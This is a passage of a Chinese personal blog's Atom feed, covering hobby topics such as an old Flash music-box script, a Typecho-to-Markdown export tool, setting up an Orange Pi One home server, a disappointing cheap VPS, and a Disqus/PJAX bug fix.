var d:Array = new Array();
for(i = 0; i &lt; c.length; i++){
    if(c[i] == &quot;&quot;){
    } else {
        d.push(c[i]);
    }
}
//清除非MP3地址
var e:Array = new Array();
for(i = 0; i &lt; d.length; i++){
    if(d[i].indexOf(&quot;.mp3&quot;) == -1 || d[i].indexOf(&quot;.MP3&quot;) == -1){
    } else {
        e.push(d[i]);
    }
}
//清除没有“http://”的地址
var mp3URL:Array = new Array();
for(i = 0; i &lt; e.length; i++){
    if(e[i].indexOf(&quot;http://&quot;, 0) == -1){
    } else {
        mp3URL.push(e[i]);
    }
}
//大功告成！
str += &quot;歌曲名：&quot; + mp3Name + &quot;\n&quot;;
str += &quot;专辑：&quot; + mp3Album + &quot;\n&quot;;
str += &quot;歌手：&quot; + mp3Singer + &quot;\n&quot;;
str += &quot;地址组：&quot; + mp3URL.join(&quot;|&quot;) + &quot;\r\n&quot;;
</code></pre>
<h2>野心</h2>
<p>制作一个带音乐搜索、LRC 展示、高级管理功能的 Flash 音乐盒，震撼闪吧人。</p>
<p>然后这个坑一直推了下去，直到 Flash 没落。</p>
<p>rofl</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[从你的 Typecho 博客优雅的导出 Markdown 文件]]></title>
        <id>https://www.tcdw.net/post/markdown-file-from-typecho/</id>
        <link href="https://www.tcdw.net/post/markdown-file-from-typecho/"/>
        <updated>2017-03-06T16:00:00.000Z</updated>
        <summary type="html"><![CDATA[如果你厌倦了 Typecho 的话……  嗯，我写了个 JavaScript 命令行工具，可以从你的 Typecho 博客导出 Markdown 文件。   准备    新版 node.js 与 npm  MySQL / MariaDB 数据库，里面有 Typecho 的数据库]]></summary>
        <content type="html"><![CDATA[<p>如果你厌倦了 Typecho 的话……</p>
<p>嗯，我写了个 JavaScript 命令行工具，可以从你的 Typecho 博客导出 Markdown 文件。</p>
<h2>准备</h2>
<ul>
<li>新版 node.js 与 npm</li>
<li>MySQL / MariaDB 数据库，里面有 Typecho 的数据库</li>
</ul>
<h2>步骤</h2>
<h3>安装工具</h3>
<pre><code class="language-bash">npm install -g typecho-to-md
</code></pre>
<h3>吸出 Markdown 文件</h3>
<p>比如你的 Typecho 数据库在本地，数据库名是 <code>my_blog</code>，有权限访问这个数据库的用户名是 <code>alice</code>，密码是 <code>123456</code>，数据库表前缀是 <code>alice_</code>，准备把 Markdown 文件输出到 <code>output</code> 文件夹。</p>
<p>于是，你需要这样执行命令：</p>
<pre><code>typecho2md -u alice \
           -k 123456 \
           -d my_blog \
           -p alice_ \
           output
</code></pre>
<p>如果什么都没输出，说明转换过程顺利的完成了。</p>
<p>进入 <code>output</code> 文件夹，你的文章已经整齐的按照文章类型放在对应的文件夹了，而且是 Markdown 格式耶！</p>
<h2>更多</h2>
<p>本工具还支持一些其它的参数设置，以及自定义 Markdown 模板（ejs 语法），这样迁移到 Hexo 之类的博客程序的话会更方便。</p>
<p>更多的详情可以戳 <a href="https://www.npmjs.com/package/typecho-to-md">这里</a>。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[如何维修电脑]]></title>
        <id>https://www.tcdw.net/post/repair-computer/</id>
        <link href="https://www.tcdw.net/post/repair-computer/"/>
        <updated>2017-02-10T16:00:00.000Z</updated>
        <summary type="html"><![CDATA[这里说的维修电脑包括电脑本身的问题以及周边的部件（比如路由器）。 我不止一次的维修过我家的台式机、父母的笔电和工控机，以及同学的电脑，同时在各种社交平台见过别人帮忙解决电脑问题，所以对维修它们的一般方法有了一定的见解，于是我打算扯几句。   如何开展维修   维修电脑，一定要亲自去，而不是通过电话、IM 等方式解决。]]></summary>
        <content type="html"><![CDATA[<p>这里说的维修电脑包括电脑本身的问题以及周边的部件（比如路由器）。
我不止一次的维修过我家的台式机、父母的笔电和工控机，以及同学的电脑，同时在各种社交平台见过别人帮忙解决电脑问题，所以对维修它们的一般方法有了一定的见解，于是我打算扯几句。</p>
<h2>如何开展维修</h2>
<p>维修电脑，<strong>一定要亲自去</strong>，而不是通过电话、IM 等方式解决。
因为：</p>
<ul>
<li>请求帮助的人对计算机的知识掌握往往（其实是几乎）不会达到你的水平，所以当你问一些他们的情况或者要求他们做什么的时候，他们有时无法给你你想要的反馈，因为他们并没有听懂你在说什么。</li>
<li>你对对方的情况并不了解的时候，你需要在对方听不懂你说什么的风险下询问故障情况，远远不如在实地查看故障情况；如果使用 IM 的话，效率甚至还要比电话低得多。</li>
</ul>
<p>当然也存在例外情况，比如你对需要解决的平台极其熟悉，你可以一针见血的告诉对方要怎么做（比如父母的笔电）。</p>
<p>有时即使没法去实地检查，也要尽量使用效率高一点的交流途径，比如电话、视频聊天、远程协助；但是光依靠 IM 上的文字交流肯定不够。</p>
<h2>不适用性</h2>
<p>你和对方都在需要解决问题的一方面有较为足够的基础知识。</p>
<p><a href="https://youtu.be/0wDtxYeJdzg?t=133">顺便可以看看这个</a></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Orange Pi One：百元家庭服务器的软件部分]]></title>
        <id>https://www.tcdw.net/post/orange-pi-one-family-server-easygoing/</id>
        <link href="https://www.tcdw.net/post/orange-pi-one-family-server-easygoing/"/>
        <updated>2016-12-23T06:34:03.000Z</updated>
        <summary type="html"><![CDATA[2017 冬更新：各种水果派性能其实很有限，如果打算搞个认真的家庭服务器，建议选购 NUC 之类的正经 PC  前不久买了部 Orange Pi One，以取代被我拿来做家庭服务器的 Galaxy Note 10.1 (3G)，因为它的局限性太大了：   内核版本太低 (3.0.)，虽然没有 CentOS 6.\ 自带的低 (2.6.32)，但是并没有 RHEL / CentOS 内核的 buff]]></summary>
        <content type="html"><![CDATA[<blockquote>
<p>2017 冬更新：各种水果派性能其实很有限，如果打算搞个认真的家庭服务器，建议选购 NUC 之类的正经 PC</p>
</blockquote>
<p>前不久买了部 Orange Pi One，以取代被我拿来做家庭服务器的 Galaxy Note 10.1 (3G)，因为它的局限性太大了：</p>
<ul>
<li>内核版本太低 (3.0.*)，虽然没有 CentOS 6.* 自带的低 (2.6.32)，但是并没有 RHEL / CentOS 内核的 buff</li>
<li>不能边连接 USB 存储设备（移动硬盘等）边充电</li>
<li>chroot Debian 8 不算灵活，且受制于作为母系统的 Android</li>
<li>如果不走 chroot 这条路，如何让 GNU/Linux 优雅的适应 Android HAL。。呃。。</li>
</ul>
<p>于是终于忍受不住，买了个 Orange Pi One。在经过各种坑以后，终于搞定了系统部署，可以拿来<del>榨橙汁和</del>部署各种服务了。</p>
<p>于是呢，我决定把我折腾 Orange Pi One 成功的经历写在这里（</p>
<h3>系统</h3>
<p>如果你仅仅希望搭建廉价服务器的话，不要听官方的话，直接上 <a href="http://www.armbian.com">Armbian</a>，因为：</p>
<ul>
<li>官方镜像里塞了一些奇怪的东西，还需要自己麻烦的扩展分区（如果你的 SD 卡容量大于 4 GB）</li>
<li>官方教程和工具不仅一点也不多，而且全是坑</li>
</ul>
<p>Armbian 提供了一些已经编译好的镜像，但是如果你希望自行定制镜像（比如预装一些软件、使用主线版内核），可以使用他们的 <a href="https://github.com/igorpecovnik/lib">编译工具</a>。我因为一些原因需要定制镜像，所以走了编译的路（但是其实也是相当容易的）。</p>
<p>官方建议使用 4GB+ RAM、四核、安装有 Ubuntu 16.04 LTS 的机器进行编译；如果你一时没有合适的机器，可以考虑开个虚拟机，或者临时租用一些高配置的、按小时计费的 VPS，这样也花不了多少钱，任务完成以后删除机器即可。</p>
<p>编译是相当容易的：</p>
<pre><code class="language-bash"># 准备步骤（以全新安装的 Ubuntu 16.04 LTS 为例）
apt-get update
apt-get upgrade -y
apt-get install git screen -y
git clone https://github.com/armbian/build --depth 1
cd build

# 可选：使用 screen 将进程挂起来，以免 SSH 中断导致编译失败
screen -S compile

# 开始编译
./compile.sh
</code></pre>
<p>如果在国内而且下载速度不算可观，可以在 <code>~/.curlrc</code> 设置下代理：</p>
<pre><code>proxy = 10.0.2.2:1087
</code></pre>
<p>以及 git：</p>
<pre><code class="language-bash">git config --global http.proxy http://10.0.2.2:1087
</code></pre>
<p>编译开始前会出现类似于 GUI 的画面，让你选择目标机型、系统、编译类型、内核版本等等，你按照提示走即可。</p>
<p>然后挂他几个小时，你的镜像就已经安静的躺在 <code>/your/working/dir/build/output/images</code> 文件夹了。把它通过 http、scp 等方式下载到本地吧。</p>
<h3>不刷写镜像，怎么行</h3>
<p>你需要准备一张像样的，容量较大的品牌 SD 卡（在线下，特别是中国大陆的非一二线城市，买到假冒品牌 SD 卡的几率相对较高，建议网购）和一个合格的读卡器，然后连接你的 PC。</p>
<p>把你的 SD 卡格式化一遍，然后通过 dd 刷入镜像就是了。</p>
<h3>登入</h3>
<p>首次开机，通过 HDMI 视频输出加连接好的键盘、TTL 线、SSH 等方式，使用密码 <code>1234</code> 即可以 root 用户登录。</p>
<p>登录后会强制要求你立即修改 root 密码，并创建一个用于日常维护的非特权用户，你照着人家的提示做就是了。</p>
<p>然后，就可以像普通 VPS 那样鼓捣了，不过是在你自己家（</p>
<h3>小技巧</h3>
<p>如果你没有各种线，只能通过 SSH 登录，可以通过你家路由器的客户端列表，找到一个叫 <code>orangepione</code> 的设备，然后连接它对应的内网 IP 地址即可。</p>
<p>为了方便维护，建议绑定 MAC 地址到一个好记的内网 IP 地址；不同路由器的设置方法存在差异，这里就不赘述了。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[关于香橙派 Orange Pi One 的碎碎念]]></title>
        <id>https://www.tcdw.net/post/orange-pi-one-stuff/</id>
        <link href="https://www.tcdw.net/post/orange-pi-one-stuff/"/>
        <updated>2016-12-21T18:22:15.000Z</updated>
        <summary type="html"><![CDATA[0. 香橙派还是能用的 1. 官方淘宝 店铺 上的那个主板 外壳的套餐里的外壳只是能用，那个电源键你恐怕需要拿一字改锥之类的东西撬一下，否则电源键会被按住。。而且那个外壳是算钱的（后来才意识到 2. 尽量买官方的电源线，虽然它的质量未必是最好的，但至少可以让你的香橙派正常工作，如果你有合格的 5V 2A 变压器]]></summary>
        <content type="html"><![CDATA[<ol start="0">
<li>香橙派还是能用的</li>
<li>官方淘宝 <a href="https://shop67941824.taobao.com/">店铺</a> 上的那个主板 + 外壳的套餐里的外壳只是能用，那个电源键你恐怕需要拿一字改锥之类的东西撬一下，否则电源键会被按住。。而且那个外壳是算钱的（后来才意识到</li>
<li>尽量买官方的电源线，虽然它的质量未必是最好的，但至少可以让你的香橙派正常工作，如果你有合格的 5V 2A 变压器</li>
<li>官方提供的那些镜像各种乱，写入到 SD 卡以后还要你再重新调整分区大小并 <code>resize2fs</code> 一遍，里面还塞了一些奇怪的东西，能不用就不用</li>
<li>我 100% 照着 <a href="https://github.com/orangepi-xunlong/orangepi_h3_linux/blob/master/README.md">官方说明</a>，用他们那套工具编译内核和固件镜像，但是里面各种蜜汁疏漏（反正我在 Debian 8、Ubuntu 16.04、Ubuntu 14.04 测试均无果</li>
<li>建议直接上 <a href="http://www.armbian.com">armbian</a>，他们不仅提供二进制文件，还有高度自动化的 <a href="https://github.com/igorpecovnik/lib">编译工具和辅助脚本</a> 可供选用，参数自定义也容易、方便</li>
<li>如果你只是需要一些基本的东西（USB 和以太网之类的驱动支持），上主线内核是没问题的，没有必要停滞于 <a href="https://github.com/allwinner-zh/linux-3.4-sunxi">全志的 3.4 内核</a>（因为 Debian 8 里的 udev 和其它一些玩意儿需要高版本内核支持；armbian 编译向导里面有选项）</li>
<li>香橙派的 <a href="http://www.orangepi.cn/Docs/Docscn/mainpage.html">官方文档</a> 各种不完全，还有一堆页面干脆是空白的；支持论坛和 QQ 群也是各种一头雾水。如果你并没有一定的知识储备，还是老老实实买树莓派吧，至少它的文档齐全、社区成熟</li>
<li>扯淡完毕，因为我不是菊苣</li>
</ol>
<p><img src="https://file.tcdw.net/blog/post/c334e46d-2ee0-5275-aae9-774e4937504d/585aaf4f35460.png" alt="debian8_linux4.png"></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 FC 游戏实现内购]]></title>
        <id>https://www.tcdw.net/post/make-more-money-china-famicom/</id>
        <link href="https://www.tcdw.net/post/make-more-money-china-famicom/"/>
        <updated>2016-06-27T07:40:25.000Z</updated>
        <summary type="html"><![CDATA[以下内容纯属扯淡   背景   如今，游戏内购在很多手机游戏已经是司空见惯的事情。  2XXX 年，一群游戏产品经理坐着时光机器，回到了 1995 年的中国大陆。一些中国游戏开发商为山寨任天堂 FC 游戏机开发游戏，但他们只能指望一款游戏一次性销量多少。为了吸引玩家，让玩家玩得更嗨，他们提出了解决方案：用内购吸引玩家！]]></summary>
        <content type="html"><![CDATA[<p>以下内容纯属扯淡</p>
<h2>背景</h2>
<p>如今，游戏内购在很多手机游戏已经是司空见惯的事情。</p>
<p>2XXX 年，一群游戏产品经理坐着时光机器，回到了 1995 年的中国大陆。一些中国游戏开发商为山寨任天堂 FC 游戏机开发游戏，但他们只能指望一款游戏一次性销量多少。为了吸引玩家，让玩家玩得更嗨，他们提出了解决方案：用内购吸引玩家！</p>
<h2>内购的实现</h2>
<h3>人物 / 成就解锁</h3>
<p>首先，每个游戏的拷贝不再完全相同，它们将有一个序列号；考虑到 FC 的机能不够，我们在游戏 ROM 中存储预先计算好的商品激活码。</p>
<p>当玩家想要解锁人物或成就时，进入购买页面，游戏会提示：</p>
<pre><code>本卡带的序列号是 88888888，您要买的商品 ID 是 999。
如果您需要解锁这件商品，请按照以下步骤进行：
1. 使用固话拨打 168xxxxx，告知客服您游戏卡带的序列号和商品 ID
2. 确认购买后，客服会告知对应的激活码，并从您的固话余额中扣除款项

不同序列号的卡带所使用的激活码不同，请勿套用为其它卡带购买的激活码！
</code></pre>
<p>当玩家购买相应的商品以后，购买状态会被保存到 SRAM 里。</p>
<p>这样就大致解决了此类商品的问题；但是，玩家可能会通过转让 SRAM 带有解锁数据的卡带，达到廉价获得 VIP 级别的游戏体验的目的，这样对游戏开发者是一大损失。</p>
<h3>道具</h3>
<p>这恐怕是个难题。</p>
<p>假如我们依然使用 SRAM 记录玩家的购买状态，那么如果某个玩家是土豪，他购买了大量的游戏道具，那么几到几十 KB 容量的 SRAM 是放不下的。</p>
<p>为了解决这一问题，也许可以通过改造游戏卡带的电路，在上面增加电话线接口（小霸王中英文电脑学习机等卡带已经做到了类似的事情，比如增加打印机接口），当玩家希望购买道具时，就通过游戏卡带自动拨打电话，验证购买状态，完成购买，然后把道具数量直接写入到 SRAM 里。</p>
<p>但是这样做有着致命的缺点：</p>
<ol>
<li><p>玩家可以通过连接多部电话机监听电话内容，然后录音，从而哄骗卡带</p>
</li>
<li><p>儿童可能会被吸引，多次购买，导致电话费被扣光，对家庭造成不良影响</p>
</li>
</ol>
<h2>对游戏开发商来说可能的问题</h2>
<p>假如一款游戏销量极好，那么开发商需要大量资源来存储玩家内购数据（序列号等），但不是所有玩家都愿意内购，更何况是 90 年代的中国。</p>
<p>to be continued</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[友情链接清理]]></title>
        <id>https://www.tcdw.net/post/links-removal/</id>
        <link href="https://www.tcdw.net/post/links-removal/"/>
        <updated>2016-05-30T19:24:58.000Z</updated>
        <summary type="html"><![CDATA[我很早就打算对友情链接进行重新整理了，原因如下：   直接原因    以前加的一些链接太杂  我和一些博主实际上并没有很好的交流  一些博客与本博客内容不相关（除了关系极好的朋友）  友情链接页面不美观、不友好  友情链接太多了   间接原因   与 DIYgod 等人博客不同，本博客将进行转型，不再注重主动吸引大量陌生访客。]]></summary>
        <content type="html"><![CDATA[<p>我很早就打算对友情链接进行重新整理了，原因如下：</p>
<h2>直接原因</h2>
<ul>
<li>以前加的一些链接太杂</li>
<li>我和一些博主实际上并没有很好的交流</li>
<li>一些博客与本博客内容不相关（除了关系极好的朋友）</li>
<li>友情链接页面<strong>不美观、不友好</strong></li>
<li>友情链接<strong>太多了</strong></li>
</ul>
<h2>间接原因</h2>
<p>与 <a href="https://www.anotherhome.net">DIYgod</a> 等人博客不同，本博客将进行转型，不再注重主动吸引大量陌生访客。</p>
<h2>措施</h2>
<p>最近，会有大约四成的友情链接会被直接删除，如果我没有给予特殊说明，那么意味着是上面的原因导致你的链接被删除，你直接撤下就可以了；原来的友情链接列表可以在 <a href="https://www.tcdw.net/friends2/">这里</a> 找到。</p>
<p>主要是那些与我其实非常陌生的的博客、并不是真的感兴趣的博客受到影响。</p>
<p>对于给您造成的不便，请多谅解。</p>
<h2>20161022 Update</h2>
<p>好吧我承认对 DiyGod 的博客形容略不恰当</p>
<p>但真的对他的粉丝圈子很不感兴趣</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[夏天来了]]></title>
        <id>https://www.tcdw.net/post/2016-summer-comes/</id>
        <link href="https://www.tcdw.net/post/2016-summer-comes/"/>
        <updated>2016-04-25T05:47:02.000Z</updated>
        <summary type="html"><![CDATA[本文 三合一   云盘   以前把百度云网盘当成最可靠的地方，结果我真的错了；  我把鸡蛋放在一个篮子里，但是现在却很难把它们取出来；百度云免费版的下载速度真是慢到窒息，家里的 20 Mbps 宽带被白白浪费。  于是开了一个月的百度云炒鸡会员，速度迅速提升（其实是限速取消），遂决定把一些大文件搬出去。]]></summary>
        <content type="html"><![CDATA[<p>本文 三合一</p>
<h2>云盘</h2>
<p>以前把百度云网盘当成最可靠的地方，结果我真的错了；</p>
<p>我把鸡蛋放在一个篮子里，但是现在却很难把它们取出来；百度云免费版的下载速度真是<strong>慢到窒息</strong>，家里的 20 Mbps 宽带被白白浪费。</p>
<p>于是开了一个月的百度云炒鸡会员，速度迅速提升（其实是限速取消），遂决定把一些大文件搬出去。</p>
<h2>国产 ROM</h2>
<p>三星的 TouchWiz 太渣了，甚至连 YunOS 的体验都不如。</p>
<p>最近打算试试各种能刷的国产 ROM，包括 M (A) I (D) UI、FlyME、YunOS，等等。</p>
<h2>博客平台</h2>
<p>突然想换回 Typecho 了，但是道路很漫长，包括博文合并、评论导出、主题等等。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[如何给 tcdw 套上女装]]></title>
        <id>https://www.tcdw.net/post/ru-he-gei-tcdw-tao-shang-nu-zhuang/</id>
        <link href="https://www.tcdw.net/post/ru-he-gei-tcdw-tao-shang-nu-zhuang/"/>
        <updated>2016-04-09T18:05:43.000Z</updated>
        <summary type="html"><![CDATA[请提供解决方案]]></summary>
        <content type="html"><![CDATA[<p>请提供解决方案</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[选择 vps-hosting.ca 的廉价 VPS 是个糟糕的主意]]></title>
        <id>https://www.tcdw.net/post/some-shit-vps-hosting-service/</id>
        <link href="https://www.tcdw.net/post/some-shit-vps-hosting-service/"/>
        <updated>2015-10-31T08:27:18.000Z</updated>
        <summary type="html"><![CDATA[结论  tcdw 脑子一热，相信了这个看起来就很离谱的东西。   它是被如何发现的   2015 年 10 月，我在某人的 QQ 群里看见有人提及这款廉价 VPS，便果断注册帐号，并上去看了下，发现价格诱人爆了。      这低价，恰好我的 Conoha VPS 就要到期了，于是我便头脑一热，用 Paypal 交了 8 USD，买下了一年的 1 核、1 GB RAM、10 GB SSD 配置套餐，然后开了一个他们的 CloudPro 机器。]]></summary>
        <content type="html"><![CDATA[<h2>结论</h2>
<p>tcdw 脑子一热，相信了这个看起来就很离谱的东西。</p>
<h2>它是被如何发现的</h2>
<p>2015 年 10 月，我在某人的 QQ 群里看见有人提及这款廉价 VPS，便果断注册帐号，并上去看了下，发现价格诱人爆了。</p>
<p><img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/2299721000.png" alt="虚拟 CPU">
<img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/2680619006.png" alt="RAM">
<img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/1515559297.png" alt="“SSD”"></p>
<p>这低价，恰好我的 Conoha VPS 就要到期了，于是我便头脑一热，用 Paypal 交了 8 USD，买下了一年的 1 核、1 GB RAM、10 GB SSD 配置套餐，然后开了一个他们的 CloudPro 机器。</p>
<p>顺便一提的是，他们提供的镜像中，还有 Minecraft 服务器预装。</p>
<p>（实践证明，他们的机器恐怕跑不了）</p>
<h2>VPS 部署</h2>
<p>我一开始就对这 VPS 不报希望，但结果依然远远超乎了我的预料！</p>
<p>我安装的是 CentOS 7 操作系统，便开始<code>yum update</code>。一堆软件包下载完以后，都要卡一会儿，才会继续安装；我以前用过一个 1 核、256 MB RAM、10 GB SSD 的机器，速度都没有这么缓慢。</p>
<p>整个过程花费一个小时完成。</p>
<p>接下来安装各种服务器用到的软件，我挂 screen 来完成操作，最后当我把需要的东西都准备好时，<strong>居然花了近一天半的时间。</strong></p>
<p>我对他们 SSD 硬盘的描述产生了怀疑，才想起来自己验证，然后我傻了眼。</p>
<h3>df -h</h3>
<p><img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/3321872264.png" alt="执行结果"></p>
<p>尽管这里并没有什么缩水，但是硬盘 io 果然如我后来所料：<strong>真心不咋的！</strong></p>
<p>我再执行<code>dd if=/dev/zero of=test.bin bs=100MB count=1</code>，得到结果：</p>
<p><img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/1069170927.png" alt="执行结果"></p>
<h3>dmidecode -q</h3>
<p><img src="https://file.tcdw.net/blog/post/0fe683ec-481c-56b8-b971-c490092b6acd/387850477.png" alt="执行结果"></p>
<p>天真的 tcdw 还以为会是至强处理器呢，结果居然是这样。</p>
<p><em>不对，他们也没说他们家的服务器 CPU 究竟是什么。人家还是打好了埋伏的。</em></p>
<p>你们自行 Google 下处理器名称吧。</p>
<h2>结局</h2>
<p>便宜没好货。</p>
<p>这家 VPS 虽然在数字上达到了他们宣称的目标，但是在硬盘 io、处理器等关键的、一般人很少注意的暗面大幅缩水。</p>
<p>我用 8 USD 当了一回小白鼠（毕竟国内关于它家的信息还是很少），换来了这篇博文。</p>
<blockquote>
<p>You are about to get access to the best Cloud on earth!</p>
</blockquote>
<p>Derp.</p>
<h2>1 月 13 日更新</h2>
<p>他们家不是有什么 Free cPanel License 吗，今天我装了一个，居然是 Trial License，刷新许可状态也没用。</p>
<p>真会玩文字游戏。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Disqus + PJAX 后的小错误修复]]></title>
        <id>https://www.tcdw.net/post/deal-with-weird-pjax-disqus-error/</id>
        <link href="https://www.tcdw.net/post/deal-with-weird-pjax-disqus-error/"/>
        <updated>2015-10-20T06:42:35.000Z</updated>
        <summary type="html"><![CDATA[自从我在我的博客同时使用 Disqus 评论框和 PJAX 成功后，那叫一个酸爽！  然而细心的访客会发现，如果访问网站首页，打开浏览器控制台，会出现以下错误：      Uncaught TypeError: Cannot read property 'appendChild' of null]]></summary>
        <content type="html"><![CDATA[<p>自从我在我的博客同时使用 Disqus 评论框和 PJAX 成功后，那叫一个酸爽！</p>
<p>然而细心的访客会发现，如果访问网站首页，打开浏览器控制台，会出现以下错误：</p>
<pre><code>Uncaught TypeError: Cannot read property &#39;appendChild&#39; of null
</code></pre>
<p>尽管这并不影响博客功能，但看上去太令人不爽了！</p>
<h2>解决它</h2>
<p>经过排查，发现是因为 Disqus 脚本在没有评论框的网站首页被运行了，而由于找不到评论框，就会出现上述错误。</p>
<p>于是我想到了解决方案：视网页的状态智能决定加载 Disqus 评论框脚本。</p>
<p>首先把原有的 Disqus 加载脚本中站点名称下面的代码删除，然后加入以下新脚本：</p>
<pre><code>recheckDQ = function () {
    if($(&#39;#disqus_thread&#39;).length) {
	    if(window.DISQUS) {
            DISQUS.reset({
            reload: true
            });
        } else {
            var dsq = document.createElement(&#39;script&#39;);
            dsq.type = &#39;text/javascript&#39;;
            dsq.async = true;
            dsq.src = &#39;//&#39; + disqus_shortname + &#39;.disqus.com/embed.js&#39;;
            (document.getElementsByTagName(&#39;head&#39;)[0] || document.getElementsByTagName(&#39;body&#39;)[0]).appendChild(dsq);
        }
    }
}
$(document).ready(recheckDQ);
</code></pre>
<p>pjax complete 环节的代码也要修改：</p>
<pre><code>$(document).on(&#39;pjax:complete&#39;, function() {
    recheckDQ();
    // blah blah
});
</code></pre>
<p>代码的变量名等写的很清楚了，就不多注释了。</p>
<p>修改完成之后，重启 ghost，再从首页进入博客，错误消失。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[域名是建站第一要素]]></title>
        <id>https://www.tcdw.net/post/yu-ming-shi-jian-zhan-di-yao-su/</id>
        <link href="https://www.tcdw.net/post/yu-ming-shi-jian-zhan-di-yao-su/"/>
        <updated>2015-09-18T20:02:59.000Z</updated>
        <summary type="html"><![CDATA[我曾经跟很多新人一样，从各种各样的免费资源走过来，最终在互联网上开辟了一片自己的天地。  我最近看到这样一篇博文，博主为希望免费建站的中小学生指明了一个良好的方向，然而我无法认同他对于空间的观点：   找对空间是最重要的，空间就像是人的心脏，一旦心脏停止跳动，你懂的。  但是，由于空间提供的访问地址五花八门，而且没有一个空间提供商可以保证空间永久存在，包括收费空间。]]></summary>
        <content type="html"><![CDATA[<p>我曾经跟很多新人一样，从各种各样的免费资源走过来，最终在互联网上开辟了一片自己的天地。</p>
<p>我最近看到<a href="http://blog.200011.net/other/31.html">这样一篇博文</a>，博主为希望免费建站的中小学生指明了一个良好的方向，然而我无法认同他对于空间的观点：</p>
<blockquote>
<p>找对空间是最重要的，空间就像是人的心脏，一旦心脏停止跳动，你懂的。</p>
</blockquote>
<p>但是，由于空间提供的访问地址五花八门，而且没有一个空间提供商可以保证空间永久存在，包括收费空间。</p>
<p>你告诉别人你网站的访问地址，但是过了若干时间，这个地址<strong>肯定会失效</strong>，那么你还得再找完新空间以后再另外通知别人你的空间访问地址。但对于没有被通知到的访客来说，你的网站挂了。而且频繁更换网站访问地址，对别人来说，这网站不是靠谱的。</p>
<p>无论如何，<strong>一定要想方设法购买一个靠谱的收费域名！</strong></p>
<p>有了域名，无论你的空间怎么更换，你只要去 DNS 后台修改下解析地址，再去你空间后台绑定域名，这样即使过上很长时间，你的空间访问地址始终是如一的。</p>
<p>其次，才需要考虑空间的好坏——即使你反悔了，那么你更换空间后，也可以保证网站如一的访问地址。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[网站搬家喽]]></title>
        <id>https://www.tcdw.net/post/wang-zhan-ban-jia-lou/</id>
        <link href="https://www.tcdw.net/post/wang-zhan-ban-jia-lou/"/>
        <updated>2015-08-07T18:50:38.000Z</updated>
        <summary type="html"><![CDATA[昨天，我把我的网站搬家到了我新买的 Conoha 东京 VPS，从此完全告别了由别人托管的时代。  感谢曾经托管过我网站的 立华、寿司同学 和 小小一白，以及很多数不尽的免费空间主。   搬家过程   我一开始安装操作系统时使用的是 ConoHa 提供的 CentOS 7 操作系统，结果配置完 Nginx 以后，再重启，所有的 Web 服务全部挂彩，重新安装或安装其它服务器软件都不行，但是通过 netstat 指令查看网络状态却一切正常。]]></summary>
        <content type="html"><![CDATA[<p>昨天，我把我的网站搬家到了我新买的 Conoha 东京 VPS，从此完全告别了由别人托管的时代。</p>
<p>感谢曾经托管过我网站的 <a href="http://freedom.moe">立华</a>、<a href="http://www.tomotakasushi.com">寿司同学</a> 和 <a href="http://www.bitee.org">小小一白</a>，以及很多数不尽的免费空间主。</p>
<h2>搬家过程</h2>
<p>我一开始安装操作系统时使用的是 ConoHa 提供的 CentOS 7 操作系统，结果配置完 Nginx 以后，再重启，所有的 Web 服务全部挂彩，重新安装或安装其它服务器软件都不行，但是通过 <code>netstat</code> 指令查看网络状态却一切正常。</p>
<p>我重装了三次系统，后来又尝试 Apache，依旧是老问题，最后我直接改装 Ubuntu 14.04，问题居然解决了。</p>
<p>然后就是上传网站文件和数据库，最后编辑配置文件，完事。</p>
<h2>搬家以后</h2>
<p>接下来，如果有可能，我会考虑把贴吧签到等服务从我购买的另一个 256MB RAM 的廉价 VPS 搬迁过去，从而提升服务稳定程度。</p>
<p>花钱就是要享受的，不是吗？至少不用再受制于合租主了。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[重低音]]></title>
        <id>https://www.tcdw.net/post/zhong-di-yin/</id>
        <link href="https://www.tcdw.net/post/zhong-di-yin/"/>
        <updated>2015-07-15T07:26:53.000Z</updated>
        <summary type="html"><![CDATA[很早以前就看见过 这篇 讨论，但是我并没有机会切身体会那种重低音究竟是什么感受。  最近因为手里的两部三星耳机全部挂彩，所以在某地摊花 10 元钱买了部在风中摇曳着的“魔声”面条耳机，凑活用一段时间。  我本以为这种地摊货的声音听起来是很干很脆的感觉，但谁知道那所谓的重低音是多么的恶心。我手机里的各种音乐的贝司音色等低音部分被难以想象的放大，听了一会儿就感觉很不舒服。除此之外，这耳机还存在着左右声道混浊不清、做工质量等问题。]]></summary>
        <content type="html"><![CDATA[<p>很早以前就看见过 <a href="http://tieba.baidu.com/p/1492952043">这篇</a> 讨论，但是我并没有机会切身体会那种重低音究竟是什么感受。</p>
<p>最近因为手里的两部三星耳机全部挂彩，所以在某地摊花 10 元钱买了部在风中摇曳着的“魔声”面条耳机，凑活用一段时间。</p>
